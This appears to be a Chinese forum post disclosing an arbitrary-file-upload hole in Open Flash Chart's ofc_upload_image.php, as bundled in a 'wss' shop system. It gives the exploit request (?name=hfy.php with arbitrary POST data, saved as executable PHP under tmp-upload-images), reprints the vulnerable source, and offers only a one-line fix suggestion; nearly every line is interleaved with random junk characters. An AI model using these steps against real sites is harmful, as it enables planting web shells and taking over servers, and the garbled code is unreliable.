POST 数据漏洞文件执行任意后缀文件保存4 w1 v3 V5 d$ @# p* I
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
1 Z, R: A: @" n. g" `7 f
- D! [& U; E/ V( |$ z' C利用:- H1 G' V2 q1 d& }$ u# M% u* H, F+ S3 F
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
2 x/ K. A) L/ H! b. e" w0 @0 O" t" A5 w! F
Post任意数据
* C- |/ G' g1 f6 z保存位置http://localhost/chart/tmp-upload-images/hfy.php
* r8 v( L; i2 s7 g; b2 m( s, |& Y9 s
* N2 @3 }7 E' ~$ i3 w I/ o
2 i) k+ I) }1 I5 y6 Q) o: w最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~
$ ?! v5 r; I3 p8 |0 \- C; R' t; r/ b: z+ A9 c' J* L; n
<?php
$ ]$ K* L ~9 z3 T% f
2 G+ N0 K# |6 p) g# i//7 J2 l( s0 F6 u- k0 ]+ c
// In Open Flash Chart -> save_image debug mode, you" t: n4 M/ n8 V% N- F* e; `8 Q0 Y
// will see the 'echo' text in a new window. G3 P5 L0 w- z1 `3 a
//
/ `$ I- M1 d9 U1 x9 {4 `# ?
/ j- O1 ]! v7 I2 l/*. o* D3 l+ |1 l6 g m. @7 J: e
+ w t; Z& ^ Y2 l0 T; gprint_r( $_GET );" I1 E: ?# ~* S" V
print_r( $_POST );
8 s& J2 y& ]5 V8 r( y+ uprint_r( $_FILES );, x) l+ j7 s" n5 U! F+ p) V
% q+ `! e4 y: _, c) G: ?- H; Sprint_r( $GLOBALS );. `! t- v4 G; @9 t
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
/ x/ p2 P. [" |9 G0 S5 U
1 ?- W: m& F2 j1 B*/
* u2 G. Y! k7 X0 `# f. d// default path for the image to be stored //3 b) r) U' o6 q3 j5 J$ X
$default_path = '../tmp-upload-images/';2 J! U9 N2 y1 |9 i) ^& K
2 H1 E$ j' W; S8 d, Pif (!file_exists($default_path)) mkdir($default_path, 0777, true);; O0 I8 i) B0 z5 P6 ~
% x/ _- O9 y1 w6 ~/ f1 R; t
// full path to the saved image including filename //
. z! H$ z4 _0 H$destination = $default_path . basename( $_GET[ 'name' ] ); 2 x$ U& m7 a: c4 z0 `% z6 m
% b# E; `6 h1 @( G& M6 t; d. n7 f6 _echo 'Saving your image to: '. $destination;
8 ^8 K# n: A+ W! e// print_r( $_POST );
( y- p3 x6 n+ t c' L1 ]8 V6 D' W// print_r( $_SERVER );
7 ^$ ]+ o8 L% O T4 o$ g// echo $HTTP_RAW_POST_DATA;
7 @/ a+ a' X7 s
& s3 L( P1 [, a% ~//7 p* b( o- L9 p7 t! H
// POST data is usually string data, but we are passing a RAW .png
' h1 f6 v/ j$ J1 j) f// so PHP is a bit confused and $_POST is empty. But it has saved
9 I" f+ ] X# [+ M// the raw bits into $HTTP_RAW_POST_DATA0 s' @- c" \" q3 J8 S% d V
//
6 h! F2 _% X1 _7 H) j- b+ l, x7 S6 M3 v* E
$jfh = fopen($destination, 'w') or die("can't open file");
* g2 }0 {/ }6 R+ L( ~fwrite($jfh, $HTTP_RAW_POST_DATA);; j9 s$ s: Q% J" X1 a: i3 Y" i7 ]
fclose($jfh);6 ?' L9 v: t7 S+ R. O- L; q7 n, l+ p
, F6 g) A) R2 h, X. P( k8 h//
/ o4 Y" \0 d1 |( g" a& L// LOOK:( j2 o( A/ B5 V8 g
//
" X7 l1 a9 a4 E7 c. F: Hexit();
, q# R# W" l; P//! G& U- s+ n( \/ _7 T" R( \
// PHP5:
. i% @) @7 y' l% X//$ s* Q4 i1 l" q8 X7 o
: K, j. p; x! f: A6 b2 o2 W. n S* G) e# b0 o0 L8 b0 }& y
// default path for the image to be stored //' l/ t9 f/ ^5 e+ ]/ ~8 d8 |
$default_path = 'tmp-upload-images/';" M; L6 c7 z4 V3 V2 K6 p
, i* l& a( a8 U% Fif (!file_exists($default_path)) mkdir($default_path, 0777, true);8 W3 v! d, R& \; Z9 g+ ~
O4 y8 R2 c% l2 I- [' O4 v& i
// full path to the saved image including filename //( e, c/ A0 v8 m2 w ~
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] ); 0 Y1 w9 {5 {/ n- t+ u6 }
1 z$ x0 S$ S' y6 g" r9 D
// move the image into the specified directory //
* k& P# G2 x9 @; eif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
6 h0 \, S/ R3 x& R: i echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
* ^2 A* Q$ i" p9 `5 z} else {
% s+ U; W9 c }# X F echo "FILE UPLOAD FAILED";2 Q! u$ R: U! l! G0 M; j6 K" |7 h
}% V: ]% h1 n* ?; q7 }' N9 V( f: Z0 ^
& [- e% t" P7 N
1 _' C! P+ l* g?>
9 J# e% ^9 B8 K6 x1 n
/ P e* V$ o' M4 E" h r# ~$ } ^0 e4 a+ F6 U$ C* A
$ A% `( k& A- S6 V
8 d* d3 c6 p8 U* ], ^% y
/ b; C$ [; a8 U2 l9 K5 s. ^! y+ ]7 g/ _6 o# @4 |
修复方案:
3 Q0 h7 l: K7 w' G这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞 , d8 n# I' n1 `; S3 v) Y! C
2 p/ A |4 Y7 R% S |. G) W) K5 _3 N! k6 c
7 A, ~! I1 {* i' W
$ g8 n9 u- Z, m0 S0 i |